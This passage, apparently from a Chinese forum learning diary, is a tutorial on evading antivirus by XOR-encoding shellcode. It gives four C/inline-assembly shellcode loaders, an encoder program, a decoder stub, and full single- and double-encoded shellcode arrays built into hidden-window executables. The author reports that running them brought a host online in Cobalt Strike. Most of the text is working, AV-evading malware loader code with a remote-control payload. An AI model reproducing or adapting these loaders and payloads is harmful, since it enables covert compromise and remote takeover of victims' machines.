}
void run2(){
__asm
{
lea eax,shellcode
jmp eax
}
}
void run3(){
__asm
{
mov eax,offset shellcode
jmp eax
}
}
void run4(){
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}
}
void main()
{
run2();
}

复制代码

可以用我上一篇文章提到的几种加载shellcode的方式，这里提供了4种。

然后编译组建……嗯，被杀了。

尝试编码，或许可以逃过被杀。

装饰shellcode异或编码

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void encoder(char *input,unsigned char key,int display_flag)
{
int i=0,len=0;
FILE *fp;
unsigned char *output;
len = strlen(input);
printf("%d\n",len);
output = (unsigned char *)malloc(len+1);
if(!output)
{
printf("memory error\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if(!(fp=fopen("encode.txt","w+")))
{
printf("output file creat error\n");
exit(0);
}
fprintf(fp,""");
for(i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if((i+1)%16 == 0)
{
fprintf(fp,""\n"");
}
}
fprintf(fp,"";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if(display_flag)//print to screen
{
for(i=0;i<len;i++)
{
printf("%0.2x ",output[i]);
if((i+1)%16 == 0)
{
printf("\n");
}
}
}
free(output);
}
void main(){
char *input=" ";
encoder(input,0x44,1);
}

复制代码

编码程序有个缺陷，就是用到了strlen函数来统计字符数。这样就会造成编码前的字符不能有\x00。所以先替换掉这些00，编码完后再换成编码字符，再次异或就回到00了。

解码

#include<stdio.h>
void main(){
__asm{
add eax,0x14 //最开始是add eax,0x14，就是跳过解码部分的代码，寄存器指向编码后的shellcode。这样就定位了shellcode
xor ecx,ecx //把ecx作为计数器
decode:
mov bl,byte ptr [eax+ecx] //byte ptr [eax+ecx]实现以字节计的每次移动一个字节解码
xor bl,0x44 //一个字节8位，每次解码一个，所以安排在了ebx低8位bl寄存器中
mov byte ptr [eax+ecx],bl
inc ecx
cmp bl,0x90 //最后设置一个0x90作为结束标志，要是bl的值和0x90解码后相同了就结束解码部分，开始执行后面已经解码的指令
jne decode
}
}

复制代码

提取出机器码，放到shellcode开头。

装饰完毕

编码一次

#include "stdio.h"
#include "windows.h"
#pragma comment(linker,"/section:.data,RWE")
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker,"/INCREMENTAL:NO")
char shellcode[]="\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x99\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1"
"\x65\x71\x10\x99\x99\x99\xf9\x10\x7c\xa8\x4b\xfd\x12\xcb\xa9\x12"
"\xcb\x95\x12\xcb\x8d\x12\xeb\xb1\x96\x2e\xd3\xbf\xa8\x66\xa8\x59"
"\x35\xa5\xf8\xe5\x9b\xb5\xb9\x58\x56\x94\x98\x5e\x7b\x69\xcb\xce"
"\x12\xcb\x89\x12\xdb\xa5\x98\x49\x12\xd9\xe1\x1c\x59\xed\xd3\x98"
"\x49\xc9\x12\xd1\x81\x12\xc1\xb9\x98\x4a\x7a\xa5\xd0\x12\xad\x12"
"\x98\x4f\xa8\x66\xa8\x59\x35\x58\x56\x94\x98\x5e\xa1\x79\xec\x6d"
"\x9a\xe4\x61\xa2\xe4\xbd\xec\x7b\xc1\x12\xc1\xbd\x98\x4a\xff\x12"
"\x95\xd2\x12\xc1\x85\x98\x4a\x12\x9d\x12\x98\x49\x10\xdd\xbd\xbd"
"\xc2\xc2\xf8\xc0\xc3\xc8\x66\x79\xc1\xc6\xc3\x12\x8b\x72\x1f\xc4"
"\xf1\xf7\xfc\xed\x99\xf1\xee\xf0\xf7\xf0\xcd\xf1\xd5\xee\xbf\x9e"
"\x66\x4c\xa8\x66\xce\xce\xce\xce\xce\xf1\xa3\xcf\xe0\x3e\x66\x4c"
"\x70\x1d\x99\x99\x99\xc2\xa8\x50\xc8\xc8\xf3\x9a\xc8\xc8\xf1\x2a"
"\x8c\x99\x99\xca\xc9\xf1\xce\x10\x06\x5f\x66\x4c\x72\xe9\xc2\xa8"
"\x4b\xcb\xf1\x99\x9b\xd9\x1d\xcb\xcb\xcb\xca\xcb\xc9\xf1\x72\xcc"
"\xb7\xa2\x66\x4c\x10\x5f\x1a\x5a\xc9\xa8\x66\xce\xce\xf3\x66\xca"
"\xcf\xf1\xb4\x9f\x81\xe2\x66\x4c\x1c\x59\x96\x1d\x5a\x98\x99\x99"
"\xa8\x66\x1c\x6f\xed\x9d\x10\x60\x72\x90\xf1\x33\x5c\x7b\xc4\x66"
"\x4c\x10\x58\xf1\xdc\xb8\xc7\xa8\x66\x4c\xa8\x66\xce\xf3\x9e\xc8"
"\xcf\xc9\xf1\x2e\xce\x79\x92\x66\x4c\x26\x99\xb6\x99\x99\xa0\x5e"
"\xed\x2e\xa8\x66\x70\x08\x98\x99\x99\x70\x50\x98\x99\x99\x71\x12"
"\x66\x66\x66\xb6\xef\xd7\xce\xd8\x99\x3d\x1b\xaf\x70\xc4\xb6\x8e"
"\xdf\x30\x31\x45\xb1\xe3\x4b\xa8\x37\xce\x64\x1a\xd2\xcf\x93\xf8"
"\xb8\x3a\x25\x0c\xcf\x86\x16\x57\xa9\x21\xe9\x9b\xfb\xd5\x0b\x16"
"\x01\xed\x57\xeb\x3c\x6a\x01\x32\x92\x52\x5a\x99\x85\xf7\x49\x9d"
"\x65\xdd\x18\xb6\x99\x15\x59\xcf\xe3\x04\xde\x16\xa2\xbd\xcc\xf3"
"\x22\xb9\x99\xcc\xea\xfc\xeb\xb4\xd8\xfe\xfc\xf7\xed\xa3\xb9\xd4"
"\xf6\xe3\xf0\xf5\xf5\xf8\xb6\xad\xb7\xa9\xb9\xb1\xfa\xf6\xf4\xe9"
"\xf8\xed\xf0\xfb\xf5\xfc\xa2\xb9\xd4\xca\xd0\xdc\xb9\xa1\xb7\xa9"
"\xa2\xb9\xce\xf0\xf7\xfd\xf6\xee\xea\xb9\xd7\xcd\xb9\xaf\xb7\xa9"
"\xa2\xb9\xcd\xeb\xf0\xfd\xfc\xf7\xed\xb6\xad\xb7\xa9\xb0\x94\x93"
"\x99\x41\x4e\xc8\x5d\xff\x4a\x21\x8c\x57\x5f\x38\xe1\x36\xcc\xcb"
"\x8a\x22\xd6\xb5\x4f\x7f\x99\xfe\x08\x8b\x41\xe6\x79\xe8\x12\xf4"
"\x12\xda\xd4\x89\x59\x70\x0a\xff\x17\xa8\x7f\x20\xab\x19\xec\x85"
"\x76\x53\xd3\x33\x0d\x8d\xa9\xb8\x91\xa3\x32\xa4\x5b\x78\x5d\xde"
"\x8a\x81\x3a\x6c\x34\xc8\xf3\x31\x0a\x91\xd0\x01\x8f\xcd\x35\x18"
"\x22\x27\x61\xe8\x7a\xf3\xb3\x6c\x3f\x1c\x60\x06\x45\xf0\xf5\xb9"
"\x0a\x02\x43\x9e\xb1\x8c\x2b\x8d\xb5\x65\xcc\x21\x1e\xe2\xfd\x4f"
"\x38\xd7\x36\xf3\xef\xb7\xed\xb7\x16\xfb\x43\x7c\x01\x39\x11\x7b"
"\xf6\x29\x4b\x3c\xbc\x7c\xd3\x3f\xdd\x8f\x0b\x0d\x80\x18\xa2\xeb"
"\x88\x47\x01\xfc\x37\x2c\xf1\x40\x55\xfc\x21\x1f\x94\xe1\x08\xe6"
"\x60\x8d\x7c\x6a\x5f\xae\xec\xef\x61\x65\x1c\x30\x38\x39\xc3\x38"
"\x8d\xa0\xce\xa9\x39\x75\xdd\x41\x87\x52\x51\x7b\x3e\xe8\xbd\x27"
"\xa3\x81\x79\x28\xc4\xc8\xec\x97\x5d\xca\xbb\xf7\x53\xc8\xc8\xf8"
"\xce\xc3\x84\xa1\xfc\x9a\x87\x3e\x55\xba\x56\x8d\x6a\x1c\xcb\x75"
"\x19\x88\x99\xf1\x69\x2c\x3b\xcf\x66\x4c\xf3\xd9\xf1\x99\x89\x99"
"\x99\xf1\x99\x99\xd9\x99\xce\xf1\xc1\x3d\xca\x7c\x66\x4c\x0a\x20"
"\x99\x99\x99\x99\x98\x40\xc8\xca\x10\x7e\xce\xf1\x99\xb9\x99\x99"
"\xca\xcf\xf1\x8b\x0f\x10\x7b\x66\x4c\x1c\x59\xed\x5f\x12\x9e\x98"
"\x5a\x1c\x59\xec\x7c\xc1\x5a\x71\x30\x64\x66\x66\xa8\xa0\xab\xb7"
"\xa8\xaf\xa1\xb7\xa8\xb7\xa8\xa8\xa1\x99\xf6\x33\xc8\x5a\x09";
void run1(){
((void(*)(void))&shellcode)();
}
void run2(){
__asm
{
lea eax,shellcode
jmp eax
}
}
void run3(){
__asm
{
mov eax,offset shellcode
jmp eax
}
}
void run4(){
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}
}
void main()
{
run2();
}

复制代码

编码两次

#include "stdio.h"
#include "windows.h"
#pragma comment(linker,"/section:.data,RWE")
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker,"/INCREMENTAL:NO")
char shellcode[]="\x83\xc0\x17\x33\xc9\x8a\x1c\x08\x80\xf3\x23\x80\xf3\x99\x88\x1c\x08\x41\x80\xfb\x90\x75\xee"
"\x46\x52\x33\xba\xba\xba\xda\x33\x5f\x8b\x68\xde\x31\xe8\x8a\x31"
"\xe8\xb6\x31\xe8\xae\x31\xc8\x92\xb5\x0d\xf0\x9c\x8b\x45\x8b\x7a"
"\x16\x86\xdb\xc6\xb8\x96\x9a\x7b\x75\xb7\xbb\x7d\x58\x4a\xe8\xed"
"\x31\xe8\xaa\x31\xf8\x86\xbb\x6a\x31\xfa\xc2\x3f\x7a\xce\xf0\xbb"
"\x6a\xea\x31\xf2\xa2\x31\xe2\x9a\xbb\x69\x59\x86\xf3\x31\x8e\x31"
"\xbb\x6c\x8b\x45\x8b\x7a\x16\x7b\x75\xb7\xbb\x7d\x82\x5a\xcf\x4e"
"\xb9\xc7\x42\x81\xc7\x9e\xcf\x58\xe2\x31\xe2\x9e\xbb\x69\xdc\x31"
"\xb6\xf1\x31\xe2\xa6\xbb\x69\x31\xbe\x31\xbb\x6a\x33\xfe\x9e\x9e"
"\xe1\xe1\xdb\xe3\xe0\xeb\x45\x5a\xe2\xe5\xe0\x31\xa8\x51\x3c\xe7"
"\xd2\xd4\xdf\xce\xba\xd2\xcd\xd3\xd4\xd3\xee\xd2\xf6\xcd\x9c\xbd"
"\x45\x6f\x8b\x45\xed\xed\xed\xed\xed\xd2\x80\xec\xc3\x1d\x45\x6f"
"\x53\x3e\xba\xba\xba\xe1\x8b\x73\xeb\xeb\xd0\xb9\xeb\xeb\xd2\x09"
"\xaf\xba\xba\xe9\xea\xd2\xed\x33\x25\x7c\x45\x6f\x51\xca\xe1\x8b"
"\x68\xe8\xd2\xba\xb8\xfa\x3e\xe8\xe8\xe8\xe9\xe8\xea\xd2\x51\xef"
"\x94\x81\x45\x6f\x33\x7c\x39\x79\xea\x8b\x45\xed\xed\xd0\x45\xe9"
"\xec\xd2\x97\xbc\xa2\xc1\x45\x6f\x3f\x7a\xb5\x3e\x79\xbb\xba\xba"
"\x8b\x45\x3f\x4c\xce\xbe\x33\x43\x51\xb3\xd2\x10\x7f\x58\xe7\x45"
"\x6f\x33\x7b\xd2\xff\x9b\xe4\x8b\x45\x6f\x8b\x45\xed\xd0\xbd\xeb"
"\xec\xea\xd2\x0d\xed\x5a\xb1\x45\x6f\x05\xba\x95\xba\xba\x83\x7d"
"\xce\x0d\x8b\x45\x53\x2b\xbb\xba\xba\x53\x73\xbb\xba\xba\x52\x31"
"\x45\x45\x45\x95\xcc\xf4\xed\xfb\xba\x1e\x38\x8c\x53\xe7\x95\xad"
"\xfc\x13\x12\x66\x92\xc0\x68\x8b\x14\xed\x47\x39\xf1\xec\xb0\xdb"
"\x9b\x19\x06\x2f\xec\xa5\x35\x74\x8a\x02\xca\xb8\xd8\xf6\x28\x35"
"\x22\xce\x74\xc8\x1f\x49\x22\x11\xb1\x71\x79\xba\xa6\xd4\x6a\xbe"
"\x46\xfe\x3b\x95\xba\x36\x7a\xec\xc0\x27\xfd\x35\x81\x9e\xef\xd0"
"\x01\x9a\xba\xef\xc9\xdf\xc8\x97\xfb\xdd\xdf\xd4\xce\x80\x9a\xf7"
"\xd5\xc0\xd3\xd6\xd6\xdb\x95\x8e\x94\x8a\x9a\x92\xd9\xd5\xd7\xca"
"\xdb\xce\xd3\xd8\xd6\xdf\x81\x9a\xf7\xe9\xf3\xff\x9a\x82\x94\x8a"
"\x81\x9a\xed\xd3\xd4\xde\xd5\xcd\xc9\x9a\xf4\xee\x9a\x8c\x94\x8a"
"\x81\x9a\xee\xc8\xd3\xde\xdf\xd4\xce\x95\x8e\x94\x8a\x93\xb7\xb0"
"\xba\x62\x6d\xeb\x7e\xdc\x69\x02\xaf\x74\x7c\x1b\xc2\x15\xef\xe8"
"\xa9\x01\xf5\x96\x6c\x5c\xba\xdd\x2b\xa8\x62\xc5\x5a\xcb\x31\xd7"
"\x31\xf9\xf7\xaa\x7a\x53\x29\xdc\x34\x8b\x5c\x03\x88\x3a\xcf\xa6"
"\x55\x70\xf0\x10\x2e\xae\x8a\x9b\xb2\x80\x11\x87\x78\x5b\x7e\xfd"
"\xa9\xa2\x19\x4f\x17\xeb\xd0\x12\x29\xb2\xf3\x22\xac\xee\x16\x3b"
"\x01\x04\x42\xcb\x59\xd0\x90\x4f\x1c\x3f\x43\x25\x66\xd3\xd6\x9a"
"\x29\x21\x60\xbd\x92\xaf\x08\xae\x96\x46\xef\x02\x3d\xc1\xde\x6c"
"\x1b\xf4\x15\xd0\xcc\x94\xce\x94\x35\xd8\x60\x5f\x22\x1a\x32\x58"
"\xd5\x0a\x68\x1f\x9f\x5f\xf0\x1c\xfe\xac\x28\x2e\xa3\x3b\x81\xc8"
"\xab\x64\x22\xdf\x14\x0f\xd2\x63\x76\xdf\x02\x3c\xb7\xc2\x2b\xc5"
"\x43\xae\x5f\x49\x7c\x8d\xcf\xcc\x42\x46\x3f\x13\x1b\x1a\xe0\x1b"
"\xae\x83\xed\x8a\x1a\x56\xfe\x62\xa4\x71\x72\x58\x1d\xcb\x9e\x04"
"\x80\xa2\x5a\x0b\xe7\xeb\xcf\xb4\x7e\xe9\x98\xd4\x70\xeb\xeb\xdb"
"\xed\xe0\xa7\x82\xdf\xb9\xa4\x1d\x76\x99\x75\xae\x49\x3f\xe8\x56"
"\x3a\xab\xba\xd2\x4a\x0f\x18\xec\x45\x6f\xd0\xfa\xd2\xba\xaa\xba"
"\xba\xd2\xba\xba\xfa\xba\xed\xd2\xe2\x1e\xe9\x5f\x45\x6f\x29\x03"
"\xba\xba\xba\xba\xbb\x63\xeb\xe9\x33\x5d\xed\xd2\xba\x9a\xba\xba"
"\xe9\xec\xd2\xa8\x2c\x33\x58\x45\x6f\x3f\x7a\xce\x7c\x31\xbd\xbb"
"\x79\x3f\x7a\xcf\x5f\xe2\x79\x52\x13\x47\x45\x45\x8b\x83\x88\x94"
"\x8b\x8c\x82\x94\x8b\x94\x8b\x8b\x82\xba\xd5\x10\xeb\x79\x2a";
void run1(){
((void(*)(void))&shellcode)();
}
void run2(){
__asm
{
lea eax,shellcode
jmp eax
}
}
void run3(){
__asm
{
mov eax,offset shellcode
jmp eax
}
}
void run4(){
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}
}
void main()
{
run2();
/*__asm{
lea eax,shellcode
push eax
push eax
retn
}*/
}

复制代码

编译运行，CS中看到主机上线。

		自动登录	找回密码
密码			立即注册

陈艺琳的学习日记

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源